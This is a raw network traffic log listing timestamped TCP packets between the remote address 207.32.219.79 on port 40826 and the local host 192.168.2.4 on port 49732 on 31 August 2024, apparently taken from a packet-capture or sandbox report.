Aug 31, 2024 22:02:07.705823898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705832958 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705841064 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705848932 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705857038 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705864906 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705873013 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705879927 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.705881119 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705889940 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705899954 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705909967 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705918074 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705925941 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.705930948 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.705971003 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.706046104 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706056118 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706059933 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706068039 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706074953 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706079006 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706087112 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706094980 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706110954 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.706111908 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706121922 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706127882 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.706139088 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706146955 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706155062 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706161022 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.706162930 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706185102 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.706202030 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706211090 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706218004 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.706219912 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.706274033 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708456039 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708477974 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708492994 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708498955 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708545923 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708554983 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708559036 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708587885 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708590984 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708595991 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708614111 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708623886 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708626032 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708658934 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708664894 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708682060 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708683014 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708693027 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708713055 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708738089 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708758116 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708816051 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708823919 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708832026 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708842039 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708844900 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708849907 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708857059 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708884954 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708894014 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708898067 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708914995 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708924055 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708925009 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708931923 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708940029 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.708950996 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708960056 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708976030 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708985090 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.708990097 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709002018 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709011078 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709024906 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709042072 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709049940 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709059000 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709068060 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709076881 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709084034 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709094048 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709103107 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709122896 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709150076 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709156990 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709166050 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709213972 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709223986 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709233999 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709238052 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709244967 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709263086 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709270954 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709285975 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709294081 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709299088 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709320068 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709331036 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709341049 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709341049 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709350109 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709381104 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709388971 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709389925 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709400892 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709420919 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709429979 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709433079 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709434986 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709459066 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709466934 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709485054 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709496975 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709512949 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709522963 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709527969 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709572077 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709589958 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709599018 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709646940 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709678888 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709690094 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709697008 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709714890 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709723949 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709731102 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709736109 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709747076 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709748030 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709755898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709793091 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709803104 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709811926 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709820032 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709855080 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709866047 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.709959030 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709968090 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709975004 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709981918 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709985018 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.709989071 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710005999 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710014105 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710021019 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710030079 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710030079 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710037947 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710046053 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710051060 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710064888 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710072994 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710072994 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710078001 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710094929 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710123062 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710131884 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710143089 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710150957 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710159063 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710175991 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710184097 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710186958 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710192919 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710201979 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710202932 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710220098 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710228920 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710238934 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710243940 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710247040 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710263014 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710263968 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710272074 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710289955 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710294008 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710299969 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710309029 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710315943 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710319996 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710329056 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710350990 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710365057 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710390091 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710400105 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710408926 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710416079 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710436106 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710447073 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710453033 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710467100 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710491896 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710508108 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710531950 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710575104 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710583925 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710592031 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710608006 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710613966 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710616112 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710650921 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710679054 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710685015 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710695982 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710702896 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710711002 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710725069 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710731983 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710732937 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710747004 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710776091 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710778952 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710788965 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710832119 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710834980 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710844040 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710851908 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710860014 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710872889 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710880041 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710889101 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710902929 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710917950 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710937023 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.710972071 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710980892 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.710999012 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711007118 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711019993 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.711047888 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711047888 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:07.711059093 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711069107 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711128950 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711137056 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711144924 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711152077 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711169958 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711178064 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711180925 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711193085 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711201906 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711216927 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711225033 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711338997 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711348057 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711410999 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711419106 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711426020 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711433887 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711493015 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711502075 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711513996 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711523056 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711529970 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711539030 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711546898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711564064 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711570978 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711577892 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711585045 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.711592913 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713205099 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713262081 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713270903 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713315964 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713324070 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713372946 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713381052 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713388920 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713417053 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713458061 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713526011 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713541031 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713548899 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713563919 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713571072 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713588953 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713597059 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713604927 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713612080 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713656902 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713666916 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713674068 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713676929 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713684082 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713692904 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713701010 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713707924 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713743925 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713752031 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713759899 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713768005 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713776112 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713783979 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713800907 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713808060 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713815928 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713824034 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713831902 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713840008 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713856936 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713865042 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713871956 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713880062 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713892937 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713901043 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713917971 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713926077 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713932991 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713941097 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713948965 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713957071 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713962078 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713969946 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713977098 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.713984966 CEST	40826	49732	207.32.219.79	192.168.2.4
